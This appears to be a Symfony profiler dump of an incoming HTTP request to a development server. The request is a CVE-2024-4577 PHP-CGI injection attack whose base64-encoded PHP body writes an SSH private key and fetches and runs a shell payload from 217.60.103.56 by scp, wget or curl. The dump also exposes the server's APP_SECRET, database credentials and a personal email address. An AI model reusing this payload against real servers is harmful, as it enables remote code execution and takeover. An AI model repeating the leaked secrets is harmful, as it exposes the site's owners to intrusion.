n/a
Request
GET Parameters
| Key | Value |
|---|---|
| �d_allow_url_include=1_�d_auto_prepend_file=php://input | "" |
POST Parameters
| Key | Value |
|---|---|
| <?php_shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No"));_echo(md5("Hello_CVE-2024-4577"));_?> | "" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _remove_csp_headers | true |
| _stopwatch_token | "45750d" |
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| connection | "keep-alive" |
| content-length | "1193" |
| content-type | "application/x-www-form-urlencoded" |
| host | "51.77.244.236:443" |
| upgrade-insecure-requests | "1" |
| user-agent | "libredtail-http" |
| x-php-ob-level | "1" |
Request Content
Raw
<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No")); echo(md5("Hello CVE-2024-4577")); ?>
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Mon, 21 Sep 2026 00:20:28 GMT" |
| vary | "Accept" |
| x-debug-exception | "No%20route%20found%20for%20%22POST%20https%3A%2F%2F51.77.244.236%2Fhello.world%22" |
| x-debug-exception-file | "%2Fhome%2Fefc%2Fefc974%2Fdev%2Fsite%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:135" |
| x-debug-token | "8bfe41" |
| x-debug-token-link | "https://51.77.244.236/_profiler/18dfbf" |
| x-previous-debug-token | "18dfbf" |
| x-robots-tag | "noindex" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_ENV | "dev" |
| APP_SECRET | "78JUN9Yh4d94zaUQVDyr7G5wvm1IES40" |
| CLIENT_EFC | "efc974" |
| DATABASE_URL | "postgresql://efc974_dev:efc974_dev@127.0.0.1:5432/efc974_dev" |
| DATABASE_URL_SA | "postgresql://efc974_dev_sa:efc974_dev_sa@127.0.0.1:5432/efc974_dev" |
| ENVIRONNEMENT_EFC | "dev" |
| ID_GOOGLE_ANALYTICS | "G-VLRXK69CPB" |
| MAILER_DSN | "smtp://vps-abdcc3c5.vps.ovh.net:25" |
| MAILS_ADRESSE_BOUCHON | "catherine.bonneton+efc974devenfenconfiance@gmail.com" |
| REPERTOIRE_PHOTOS | "/home/efc/efc974/dev/photos" |
| REPERTOIRE_REJETS | "/home/dpt974_dev/from_efc" |
| VERSION | "2848d34f169dbb4ddbe02791decb3e503ce4b3f7" |
Defined as regular env variables
| Key | Value |
|---|---|
| CONTENT_LENGTH | "1193" |
| CONTENT_TYPE | "application/x-www-form-urlencoded" |
| CONTEXT_DOCUMENT_ROOT | "/home/efc/efc974/dev/site/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/home/efc/efc974/dev/site/public" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HTTPS | "on" |
| HTTP_ACCEPT | "*/*" |
| HTTP_CONNECTION | "keep-alive" |
| HTTP_HOST | "51.77.244.236:443" |
| HTTP_UPGRADE_INSECURE_REQUESTS | "1" |
| HTTP_USER_AGENT | "libredtail-http" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
| REDIRECT_HTTPS | "on" |
| REDIRECT_QUERY_STRING | "%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/hello.world" |
| REMOTE_ADDR | "169.58.204.118" |
| REMOTE_PORT | "54246" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1789950028 |
| REQUEST_TIME_FLOAT | 1789950028.956 |
| REQUEST_URI | "/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
| SCRIPT_FILENAME | "/home/efc/efc974/dev/site/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "51.77.244.236" |
| SERVER_ADMIN | "[no address given]" |
| SERVER_NAME | "51.77.244.236" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.68 (Debian) Server at 51.77.244.236 Port 443</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.68 (Debian)" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,ID_GOOGLE_ANALYTICS,REPERTOIRE_PHOTOS,DATABASE_URL,DATABASE_URL_SA,VERSION,REPERTOIRE_REJETS,MAILS_ADRESSE_BOUCHON,CLIENT_EFC,ENVIRONNEMENT_EFC,MAILER_DSN" |